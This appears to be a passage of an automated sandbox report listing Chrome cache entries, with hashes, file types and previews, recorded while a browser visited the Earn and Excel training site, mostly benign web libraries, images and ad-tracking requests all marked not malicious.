Preview:	/* perfect-scrollbar v0.6.14 */...ps-container{-ms-touch-action:auto;touch-action:auto;overflow:hidden !important;-ms-overflow-style:none}@supports (-ms-overflow-style: none){.ps-container{overflow:auto !important}}@media screen and (-ms-high-contrast: active), (-ms-high-contrast: none){.ps-container{overflow:auto !important}}.ps-container.ps-active-x>.ps-scrollbar-x-rail,.ps-container.ps-active-y>.ps-scrollbar-y-rail{display:block;background-color:transparent}.ps-container.ps-in-scrolling.ps-x>.ps-scrollbar-x-rail{background-color:#eee;opacity:.9}.ps-container.ps-in-scrolling.ps-x>.ps-scrollbar-x-rail>.ps-scrollbar-x{background-color:#999;height:11px}.ps-container.ps-in-scrolling.ps-y>.ps-scrollbar-y-rail{background-color:#eee;opacity:.9}.ps-container.ps-in-scrolling.ps-y>.ps-scrollbar-y-rail>.ps-scrollbar-y{background-color:#999;width:11px}.ps-container>.ps-scrollbar-x-rail{display:none;position:absolute;opacity:0;-webkit-transition:background-color .2s linear, opacity .2s linear;-o-

Chrome Cache Entry: 506

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0950611313667666
Encrypted:	false
SSDEEP:	3:CUMllRPQEsJ9pse:Gl3QEsJLse
MD5:	AD4B0F606E0F8465BC4C4C170B37E1A3
SHA1:	50B30FD5F87C85FE5CBA2635CB83316CA71250D7
SHA-256:	CF4724B2F736ED1A0AE6BC28F1EAD963D9CD2C1FD87B6EF32E7799FC1C5C8BDA
SHA-512:	EBFE0C0DF4BCC167D5CB6EBDD379F9083DF62BEF63A23818E1C6ADF0F64B65467EA58B7CD4D03CF0A1B1A2B07FB7B969BF35F25F1F8538CC65CF3EEBDF8A0910
Malicious:	false
Reputation:	low
URL:	https://s0.2mdn.net/dot.gif?gdpr=0
Preview:	GIF89a.............!.......,...........L..;

Chrome Cache Entry: 507

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 205 x 55, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	7115
Entropy (8bit):	7.94979057540549
Encrypted:	false
SSDEEP:	192:u34CfAV4Gyp+CBTgceP4fzp6HYGOJYa2eH5EGI:TH4J+J9AfUTuIkK
MD5:	120DC1BEE590102075673573046F05A1
SHA1:	B1EE042D31411BECFC433791A5807714CA20E6DB
SHA-256:	C3DE0F6AA41699E6974346D460AE1458EDF5E00730F7CD43E06F7F6E81949BDD
SHA-512:	191940469E7BF93CA693E3C24D1DC61A5C5A2569F07AB59A69265E652896A882D7784FE7F750B189BB18D6258797B2486AB5719B477E69BAB73564EA521F3469
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/HSBC.png
Preview:	.PNG........IHDR.......7.............IDATx.....K.......>......[.Nl,..............[..'..\A..,_m....fv.0.Q.B.!....(D!.(D!.(D...@.........K~..i../_.3...w..~..y.....U..].Go......o.5?}.$..s.......M.....~.......s...>\|P.Iyf..K...1.\|......\|.z.S.d....gy..(!..'Wg.^_..Q.......Z............_......hh~..@t7.wv?....O@.z..o.1.z...3.6.W...\.......:...N.....@]>\].X......U...c.}.p..\......s...}...[ .5.../_..0RA..1L...&E...e.o....2.p.^.x.ru..%\p0.<1......m....}#HD..)....FO...\@.s8D$.......{...^.'.(9...I...4.Y.~...9R.,Y".....;...d..2q.D.?~..5K.v.C....c.....B..l..2c..3_..-d.!2y.d...#.M..s.wS.L..+V...j.d.....e.AR.R%I.6...S.%K&9s............U.tC.o....#F..f.-...dm.7./_.+W...K.ro.7o.l.E..:$...?...k.....{.}/\. .6m.!..w...}.v.y.&..~6P..@..<!..R..G.d.....q...q.F.....e.5A..k..u.=A..O.;.oW.^U..........9b./k....fZ.X.$z...>{.......G.8..J.x....A...n..#.g....K...0N..={..<..v..YS.....;vlx3..).....K.<.l.:u....Fk..a..Y.l..2...5jT.S.

Chrome Cache Entry: 508

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8957), with no line terminators
Category:	downloaded
Size (bytes):	8957
Entropy (8bit):	5.118251404648393
Encrypted:	false
SSDEEP:	192:MxNqy91jdZEKhOvslhWqfO+JlZm7OEHTZFE6GpJYhMAUC6Y7:ondKvslDLJqOm8TNY7
MD5:	D31419FBFF8359D64F78C9C544029ABE
SHA1:	18D9B9E3787E53CCE39674030C9938175AEC4233
SHA-256:	0A7B39C9E8F9D3D22D4DBA505D6FE792AA0093FBC9C0D9CDF05969275372302E
SHA-512:	0B41A1473EC1A8DA24977CD0E1B70D59EDEB1FCFB70253A8DA14853F73EF6FC8BCB5F70894F590FA496DC5FA4D7B4ED0EF9D728493D3C9672566052845B2686B
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/assets/libs/polyfill/intersection-observer.min.js
Preview:	!function(){"use strict";if("object"==typeof window)if("IntersectionObserver"in window&&"IntersectionObserverEntry"in window&&"intersectionRatio"in window.IntersectionObserverEntry.prototype)"isIntersecting"in window.IntersectionObserverEntry.prototype\|\|Object.defineProperty(window.IntersectionObserverEntry.prototype,"isIntersecting",{get:function(){return this.intersectionRatio>0}});else{var t=function(t){for(var e=window.document,o=i(e);o;)o=i(e=o.ownerDocument);return e}(),e=[],o=null,n=null;s.prototype.THROTTLE_TIMEOUT=100,s.prototype.POLL_INTERVAL=null,s.prototype.USE_MUTATION_OBSERVER=!0,s._setupCrossOriginUpdater=function(){return o\|\|(o=function(t,o){n=t&&o?l(t,o):{top:0,bottom:0,left:0,right:0,width:0,height:0},e.forEach(function(t){t._checkForIntersections()})}),o},s._resetCrossOriginUpdater=function(){o=null,n=null},s.prototype.observe=function(t){if(!this._observationTargets.some(function(e){return e.element==t})){if(!t\|\|1!=t.nodeType)throw new Error("target must be an Eleme

Chrome Cache Entry: 509

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	13
Entropy (8bit):	2.7773627950641693
Encrypted:	false
SSDEEP:	3:qVZPV:qzd
MD5:	C83301425B2AD1D496473A5FF3D9ECCA
SHA1:	941EFB7368E46B27B937D34B07FC4D41DA01B002
SHA-256:	B633A587C652D02386C4F16F8C6F6AAB7352D97F16367C3C40576214372DD628
SHA-512:	83BAFE4C888008AFDD1B72C028C7F50DEE651CA9E7D8E1B332E0BF3AA1315884155A1458A304F6E5C5627E714BF5A855A8B8D7DB3F4EB2BB2789FE2F8F6A1D83
Malicious:	false
Reputation:	low
URL:	https://td.doubleclick.net/td/rul/416707819?random=1712870851214&cv=11&fst=1712870851214&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be44a0z8835174253za201&gcd=13l3l3l3l1&dma=0&u_w=1280&u_h=1024&url=https%3A%2F%2Fearnandexcel.com%2Fcourse-category%2Fdata-analysis-bi%2F%3Ftutor-course-filter-category%3D16701&ref=https%3A%2F%2Fearnandexcel.com%2F&hn=www.googleadservices.com&frm=0&tiba=Online%20Data%20Analysis%20%26%20BI%20Courses%20-%20Earn%20%26%20Excel&npa=0&pscdl=noapi&auid=67825169.1712870802&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1
Preview:	<html></html>

Chrome Cache Entry: 510

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 136 x 136, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2794
Entropy (8bit):	7.87078152347252
Encrypted:	false
SSDEEP:	48:DH8oUGrPOx07herZkqprwJXSApp1DjFdaxz5Ys48Z7oGlTJMp7OyM:DcoUGq07keqUJzCkM
MD5:	D12AFB239E6D563FEF48832B2DBB1CB2
SHA1:	FEDE598FD43F89E19C7D643EAE4DB9949B18F3B6
SHA-256:	68851843FE8B098FF0FF2C9645E000E792E2F10AE1A671265C1CFBCF60C4D7D2
SHA-512:	87FC5DA409AD870BBBD2A777F35B31D7542D7235BA6600700490CF00FF45CE88C186D5B3B65F568DB3C7F7F406F9915A1C8EB0E4BFB5CD5E6A38ED15D5BE9F84
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/edumall-shape-grid-dots-02.png
Preview:	.PNG........IHDR.............<..R....IDATx...r.E..7p...(.8...S8.A...@A.....$.....5..a.....K..c#-..K.u........;=...C....+..gZ.~a.4.?....y...[...4...f.~>..t.....vO......kXx.....i..{e...x...}....M..\|9.i..V..d.?.kO.7\|.. ...h..w_.J..5s.p........=..W.a=.&...a..Fx..d/....e.,......jr.D.q.`.3..wE....U.......j.f..m...W...5P/.kv.i.dN..5...:....^.j6.....&.>...]95.\...p.~.h..^.9....;..&g.I.6.4s......c...{..0}......,ki4....a3...M..E.f..{\|.........g._V..,.w.s....`..z...7.....M......k...5,<l.....p.+.._...[........t.............)j..\|.)...^M8....^M............@ .....@ .d.tX~&!Y.H..% d...9.~......kX.e....3.W.\|.P...=....C.....P....yU.v\|....B..)`.$w.....b.N.tK....S%.r.......%.m.u.....uX.......6l.j...eoD.=.$....&../.5.......z...I7kR..t...9.t.......%...V..nz..&.s.${4.s..J..n.....$ie.a=....X.hr3.H....kh.....H.)...E._..V.......0..W~...I...#x..._{...<..k.....?..B3.7..p...q.....^Yx....qhn..L,...Um......y.5..@ .....@ ...Z.y$u..aL...".h..C.:\g$u

Chrome Cache Entry: 511

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, was "main.4701fd00.js", last modified: Wed Apr 10 20:12:07 2024, from Unix, original size modulo 2^32 70049
Category:	downloaded
Size (bytes):	22882
Entropy (8bit):	7.991435806643493
Encrypted:	true
SSDEEP:	384:L3GGf8Z02HDPctNramgS0/Cv2HqYgr8g/aFbOdhNwcn2ybgTShxq0HMRlqKzHI:7GtG2jPsamEKYgQqhNwUfxqOmUwo
MD5:	3D4CD9A154B5407111E9C13C17302718
SHA1:	7EA2DDE24847C2ED775BAF4516B20921AB8608A2
SHA-256:	F8E891A2D593BAA97682E7704D61F034880C14F14232EDFC4200870E03E880E5
SHA-512:	F270A7B220EAA025F34041CCE70AA7C2F4033F32CF54E32DC88EC234125214AA9E3399CD28E6A7A16681E06571573749D6719F5A3FD4414E03A289F0D3FB8C9A
Malicious:	false
Reputation:	low
URL:	https://s.pinimg.com/ct/lib/main.4701fd00.js
Preview:	.......f..main.4701fd00.js..\.s...2g..!...,;.......^.t...:.... ....H...~......H.q..66..............$.vB.n....v..{.-T3.fL....8.llN.>$.p...n.L...v.&.h8..k...v...uF.fM.<...[...&n6.S.?..B&.e@..S.$...?.\..l.p.k..L..n....,./.,..WL..l.^f.#.V.........{../.u..~.E.Yd...._..]#..u.]../.X3kK......<.R.(..8....E....l`.{..D..,.<..S+.#XTO........."&..2.X,.... .`.......%.......a...K..,.d.f...^.(..+.c...."..vx.....2BJ..%...X@).....bV=...I .m..p..#..Z..b.r.%m.].J..,.).m...Ow\.H.;..4n.e..05..G...A..O.....W.f..i}....C..{B.....Z).z..?~=....o...q..._....Y.......(......?.F...\M...(E..U...8.....+v.e.h.....,z8.E/....f.J..ja...Eb.'\...{(..........b_Xm..;.V.7.d.F...5.....n.{...$.Y.E..(.+R.$.H..[ .,....,f#...Z.v.`..4..=.......B~...2.......L.\.'.@...].pw.zq..^..(.'....Z.`@o......W.TPkgL...*...[,.\...r.2.&&W.'Jh3@`.[......{.~.......-Q.!s...2g..20-D.F.L.Xn.].Q..l..H.)%A..J6..6...@..~..f...MI..C. .~.,....M.......)q..!u.9}(..J..&.Z..UB.Ro3.Y.?...(.......j...<...F.....$

Chrome Cache Entry: 512

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 513

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
URL:	https://cm.g.doubleclick.net/pixel?google_nid=lijit_dbm&google_hm=SWViSEFMWkh3cEQ1Vk5LeFJYYXZTSGlM&gdpr=0
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 514

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	142
Entropy (8bit):	5.69176952459624
Encrypted:	false
SSDEEP:	3:YW/ovoTJdnfa63XUXd3DX4OdiNOzyf/VuB/qUu0FIiXNEqLSN3PYn:YWsoFFf01TBiNpM51Ii9IQ
MD5:	6F870E6425C84F5508EF7E337ABF9729
SHA1:	66AA08DAACCD2723B7962EB5CB989BA2D305FEAC
SHA-256:	8A6BF74C601A0AF67D8B854D0A68B016755C076E2C6D2988A93B0CA950EECB94
SHA-512:	07B4313C3FA8B48DC3CCD4FE2EBECB2C62E1506DB4385F7CD84AE512D4A02013778151A39BC2AFDF581E3B5FD14220295C460802777D1E93853C7AE3504F4B75
Malicious:	false
Reputation:	low
Preview:	{"s":"OVbjZviMPAzogl8VxD4oYxAvkLHRrqrxRf6MIh2gn+U1nnsBwtKkJ3/LZWQ=","t":"P4nymYlT5ZGRJF5RUdYOdNY0MkDdsB7W5Zns228HSOa6Ew==","kid":2,"ttl_s":64}

Chrome Cache Entry: 515

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	31440
Entropy (8bit):	4.901085309661771
Encrypted:	false
SSDEEP:	768:tB5BAYdGfEGiE5iESt0vtqVZc2b4qeUPZGsGke0:tBArhvtaZcfXMMsl
MD5:	330CA57CDE4DDB9985803F8CD643A9E1
SHA1:	8FCFC9C83CE42662EC654DB7CAFD8FB12C0111F5
SHA-256:	DABA7B5CD8FBAE9172642D3CB30FD03303DD830136064DFCBA28D9C396446EDB
SHA-512:	759450592FA1C0F465234AB00A370D25B8F505A07A05C99191F040DF3A20D657B7258DA9BB4D312BA809E1F1CAD20FD8115BA706AD331D26C12F273DFB7EFEBD
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/assets/libs/packery-mode/packery-mode.pkgd.js
Preview:	/!. Packery layout mode PACKAGED v2.0.1. * sub-classes Packery. /../. Rect. * low-level utility class for basic geometry. /..( function( window, factory ) {. // universal module definition. / jshint strict: false / / globals define, module /. if ( typeof define == 'function' && define.amd ) {. // AMD. define( 'packery/js/rect',factory );. } else if ( typeof module == 'object' && module.exports ) {. // CommonJS. module.exports = factory();. } else {. // browser global. window.Packery = window.Packery \|\| {};. window.Packery.Rect = factory();. }..}( window, function factory() {...// -------------------------- Rect -------------------------- //..function Rect( props ) {. // extend properties from defaults. for ( var prop in Rect.defaults ) {. this[ prop ] = Rect.defaults[ prop ];. }.. for ( prop in props ) {. this[ prop ] = props[ prop ];. }..}..Rect.defaults = {. x: 0,. y: 0,. width: 0,. height: 0.};..var proto = Rect.prototype;../*.

Chrome Cache Entry: 516

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	"https://imp-dev.mediavine.com/record?impkey=V1:OgSxyMhFMatQAerX:ftP8nOlMWb32pQHA4pMH+OYtPOmEmBloESljfxFl946I0UGuCq4EWLeeOhGwVh6wXqrpLRfqKBC7iLArdsiJ+qEgKScEk8WJ3Q==&slot=adhesion_desktop&page_url=https://earnandexcel.com/&site=earn-and-excel&path=/&secure=1&sessiondepth=2&optout=&categories=hobbies-and-interests&generator=web&bucket=96&referrer_url=DIRECT&utm_source=&utm_campaign=&dow=4&day=11&month=4&hour=21&wrapper_group=3.1.3&wswy=0&sessionId=668614997&page_view_id=1202010d1c1e0x1d03050d0g081p0w1k&groupm=1&browser=Chrome&os=Windows&lang=en-US&s2sVersion=production&hb_bidder=yieldmo_s2s&hb_adid=273e92caed84755&hb_pb=0.87&hb_sdef_set=0.978628354491&hb_bid=0.87&hb_bsbid=0.8659771559999999&hb_safeframe=0&hb_s2sBidder=yieldmo&hb_liv=4&hb_ub=0.87&hb_size=728x90&hb_pb_rubicon=0.56&hb_pb_triplelift=0.39&hb_pb_mediagrid_s2s=0.57&hb_pb_yieldmo_s2s=0.86&hb_pb_sovrn_s2s=0.50&sales_cat=132&sales_safety=GGT0&sales_kw=earn,professionals,excel,skills,vbacourse,skill,marketing,gamechanger,powerpointlesson,completepackage,ability,professional,order&sales_segment=GumGumVeritySeasonal-FathersDay,GumGumVeritySeasonalSegment-Backto,GumGumVeritySeasonal-MothersDay&partnerLift=mediagridE0M2&slot_id=adhesion_desktop&hb_count=5&hb_pmp=0&UR=87&URP=138&OE=0&google=1&native=1&slot_number=1&slot=adhesion_desktop&arrival=0&refresh=0&sspm=1&bidFloor=0.23&ccpa=1---&psa=6,12,3&timeout=adhesion_atf_d_2801&gid=0&inview=0&adomain=monday.com&grow_state=4&grow_version=7.239.1&dsp_id=2742174208444549125&3pc=1&illr=0&gpp=0-0-0&pps=&pair_id=0&deprecationLabel=na&parent_adunit_name=earnandexcel&slotName=adhesion&device=desktop&country=US&offeringId=1&adProduct=display&oCpm=0.866844"
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 517

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (13425)
Category:	downloaded
Size (bytes):	13676
Entropy (8bit):	5.279033562304028
Encrypted:	false
SSDEEP:	384:ZdUbeQS7Rgx9BU0m/XCcif65W/1mXA82FHpx:Zib67gbhm/XDif65W/1mXA82Fn
MD5:	AA1FB220CF781D4CC3DCC3D8CF04428D
SHA1:	15F0AED2F5869A58664A942D0EB0A62C7D1F9300
SHA-256:	BAB57596E67C24F23305BFBCF2F313F2AC1B17C8C16C722BC10F304E086D08EC
SHA-512:	35348F2F2C5525491DFB45C5C6F8DF9B95B95C35FCCCD2FDAC9B58D1BC188337A301B0755BE56713488BE54CE7D1BE0E92642970CDE724EDD52E9978950516A2
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/assets/libs/swiper/css/swiper.min.css
Preview:	/*. Swiper 5.4.1. * Most modern mobile touch slider and framework with hardware accelerated transitions. * http://swiperjs.com. . Copyright 2014-2020 Vladimir Kharlampidi. . Released under the MIT License. . Released on: May 20, 2020. */..@font-face{font-family:swiper-icons;src:url("data:application/font-woff;charset=utf-8;base64, d09GRgABAAAAAAZgABAAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABGRlRNAAAGRAAAABoAAAAci6qHkUdERUYAAAWgAAAAIwAAACQAYABXR1BPUwAABhQAAAAuAAAANuAY7+xHU1VCAAAFxAAAAFAAAABm2fPczU9TLzIAAAHcAAAASgAAAGBP9V5RY21hcAAAAkQAAACIAAABYt6F0cBjdnQgAAACzAAAAAQAAAAEABEBRGdhc3AAAAWYAAAACAAAAAj//wADZ2x5ZgAAAywAAADMAAAD2MHtryVoZWFkAAABbAAAADAAAAA2E2+eoWhoZWEAAAGcAAAAHwAAACQC9gDzaG10eAAAAigAAAAZAAAArgJkABFsb2NhAAAC0AAAAFoAAABaFQAUGG1heHAAAAG8AAAAHwAAACAAcABAbmFtZQAAA/gAAAE5AAACXvFdBwlwb3N0AAAFNAAAAGIAAACE5s74hXjaY2BkYGAAYpf5Hu/j+W2+MnAzMYDAzaX6QjD6/4//Bxj5GA8AuRwMYGkAPywL13jaY2BkYGA88P8Agx4j+/8fQDYfA1AEBWgDAIB2BOoAeNpjYGRgYNBh4GdgYgABEMnIABJzYNADCQAACWgAsQB42mNgYfzCOIGBlYGB0Yc

Chrome Cache Entry: 518

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	23
Entropy (8bit):	3.914866303883101
Encrypted:	false
SSDEEP:	3:8WiCLViemVh:8WiIUemf
MD5:	EAE5EE6C7E3134A287AA23FCD63D64F0
SHA1:	3B17DC8EB29B01BD80C12C7D64159D0434EDFDAC
SHA-256:	745A085B52B8371EC6705413FCA70A28C6D8BFF0DB480E6B124BD08C54E95EF8
SHA-512:	3A534A5E4557ACC431634EBA78950183078C2F78816C6E156679F3A8753C4C6514353111E6CE3F52C91219D036351D090970E8097CB4D41D65A1EC39D0E450EF
Malicious:	false
Reputation:	low
URL:	https://aax.amazon-adsystem.com/e/dtb/bid?src=600&u=https%3A%2F%2Fearnandexcel.com%2F%23&pid=UUkjqYA94U2yk&cb=0&ws=1280x907&v=24.305.1002&t=2000&slots=%5B%7B%22fc%22%3A%22USD%22%2C%22fp%22%3A100%2C%22id%22%3A%22sticky_outstream_desktop%22%2C%22mt%22%3A%22v%22%2C%22s%22%3A%5B%22300x169%22%5D%7D%2C%7B%22sd%22%3A%22adhesion_desktop%22%2C%22s%22%3A%5B%22728x90%22%5D%2C%22fc%22%3A%22USD%22%2C%22fp%22%3A23%7D%5D&pj=%7B%22device%22%3A%7B%22sua%22%3A%7B%22architecture%22%3A%22x86%22%2C%22bitness%22%3A%2264%22%2C%22mobile%22%3A0%2C%22model%22%3A%22%22%2C%22source%22%3A2%2C%22platform%22%3A%7B%22brand%22%3A%22Windows%22%2C%22version%22%3A%5B%2210%22%2C%220%22%2C%220%22%5D%7D%2C%22browsers%22%3A%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%5B%22117%22%2C%220%22%2C%225938%22%2C%22149%22%5D%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%5B%228%22%2C%220%22%2C%220%22%2C%220%22%5D%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%5B%22117%22%2C%220%22%2C%225938%22%2C%22149%22%5D%7D%5D%7D%7D%7D&sg=%7B%22ortb2%22%3A%7B%22site%22%3A%7B%22name%22%3A%22Earn%20and%20Excel%22%2C%22domain%22%3A%22earnandexcel.com%22%2C%22cat%22%3A%5B%22IAB9%22%5D%2C%22sectioncat%22%3A%5B%22IAB9%22%5D%2C%22pagecat%22%3A%5B%22IAB9%22%5D%2C%22page%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%22%2C%22ref%22%3A%22%22%2C%22mobile%22%3A1%2C%22privacypolicy%22%3A1%2C%22content%22%3A%7B%22cat%22%3A%5B%22IAB9%22%5D%2C%22language%22%3A%22en%22%2C%22data%22%3A%5B%7B%22name%22%3A%22gumgum.com%22%2C%22ext%22%3A%7B%22segtax%22%3A2%7D%2C%22segment%22%3A%5B%7B%22id%22%3A%22132%22%7D%5D%7D%5D%7D%2C%22keywords%22%3A%22earn%2Cprofessionals%2Cexcel%2Cskills%2Cvba%20course%2Cskill%2Cmarketing%2Cgame%20changer%2Cpowerpoint%20lesson%2Ccomplete%20package%2Cability%2Cprofessional%2Corder%22%2C%22ext%22%3A%7B%7D%7D%7D%7D&schain=1.0%2C1!mediavine.com%2Ca6b3ff189247621e2e58a04c0b9bf64b%2C1%2C%2C%2C&gpp=DBABzw~1---~BqgAAAAAAgA&sm=b3b84b5b-5556-4cb7-9339-43a43ae9e184&pubid=38918095-8e45-4332-88bf-226b3514cb64&gdpre=0&gdprl=%7B%22status%22%3A%22explicit-no-gdpr%22%2C%22enabled%22%3Afalse%7D
Preview:	apstag.punt({"cb":"0"})

Chrome Cache Entry: 519

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 700 x 747, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	149917
Entropy (8bit):	7.847331208672053
Encrypted:	false
SSDEEP:	3072:CkHoz85p6mcFFhryHP88qcAMT280tOKfONTO1H0OoOpwI2bR0XcI9yv+CuOEp1DJ:CVz8f6mcFFhs8WAMKuKm2iIKW/9yWOEF
MD5:	F2291F82B00122724FA38153CC73DCC9
SHA1:	51FB0D04AACB3B2D9051751DB6C0B461CE9B999C
SHA-256:	8F6936E1B390B919536EDC74ECC6F4F5747217F0B5AD9C4CD18F521EA9070022
SHA-512:	DCD2F499DBF237BF30B782EE040342810B90DB1663066D1F5C33D1DED2A02E7F2476CBAECE9C1EA791A04CC9F63E9167B07D6926D35D0BA322FF7D13CF29A57C
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/kiran.png
Preview:	.PNG........IHDR.............+.>....PLTE......... .................'..( "...0&&.........+..%..-"%0! ......%. ...9(&0A9D_R1)......#..,;2('&=/.9# Ni`)..9-(/*D.(:THGeY....gig..<MF.g2.....@(&F;3....2GA.......=G@,4.ETMEOD...GB>z...\|D4.N\M.(".\|`;C9_ua..z..vii........{zc\|i...n.z..?[L[xj....n'D9.u.lS...Rrf...Vq_`}sPdS....0'...t..RlX...R<2.dJ!;/2/0RQFwssQG>...hba...983...0OCa@0.u[{..=9=..........^RJf5#P`YO3+i.s...^h[Y, L%....w.{d.{....%....nxhr=+....._YZ.G1....ZCsg]pJ;..._ab]^P....jaT...@.....NHJjop.....q...cR...`H=....oY....yn...UQS.O:...y~.i..........ysa..xv.r......}.y..u..........~TE...{...\N...lYGr....pwy....aN.>+.te.TA.ja..mf...F6Hhp.d'..../ ...8!...Stx...x/....M,..FMOe&.1.xGU.t.......Y^x..Q..}..O...g+"H.4..<+...]...dh.A>...+ij.......lF...4-d..c..wQO..........p.....fu$...FXIDATx...k.e...,W1..j..I.`...n;9tL.JF.A.....5.#..v1k....X.I"dT.].F.y.]7...R.>....sv...y.....=K....\|.s.af...../^\|....XZ.vi........-.......g.8~:..<.VW..N...5....\_}}..C.6/._.

Chrome Cache Entry: 520

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	32
Entropy (8bit):	4.265319531114783
Encrypted:	false
SSDEEP:	3:YTyLSKnCJg4n:YWLSln
MD5:	CD28EE95FFD870C983DC3CD2FD58A371
SHA1:	AEEE8755E1224B6AAF08E9BE62B2904DB02C5C4F
SHA-256:	1793CDDE43B50ECE32887D141A5D62FA9874FBF27669054E130D254EC2BA229E
SHA-512:	F17099941D46303AAEBE6C2D0488C8712F4B6E2CCCD676327BEB61F27A9505DC0546891D873CDABEC9A873A9F92FE265B3415C96398287AF957CFA60ABD773BB
Malicious:	false
Reputation:	low
URL:	https://api.grow.me/versions
Preview:	{"version":"7.239.1","betas":[]}

Chrome Cache Entry: 521

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	269
Entropy (8bit):	5.235195150873638
Encrypted:	false
SSDEEP:	6:hn8FQiowadCc4svmzsMX5mBQLzLcIjEdxvAqJmW/upLV4HX4QL:hnMQbwuO4M2e4xYqJmWeV4IQL
MD5:	C7B1A96E4676C76C0240D4A835FB7252
SHA1:	8A4DE304873BB5A8C11DD86B86CC8B8356BAD8B5
SHA-256:	E4DF52D49C57BC3E7158CB052CC05C60F1258C24DE5C5728DAC5D43272943AD9
SHA-512:	349FE7702C3A1355026D9051B3BDF4143358A34A416DF67099E7FA16CACD72270E40DAF59C24C1FE0C6705F91AEDABD0E9D8298985E6A3BF9F133C08DC07AD86
Malicious:	false
Reputation:	low
URL:	https://eus.rubiconproject.com/usync.html?p=17404&endpoint=us-west
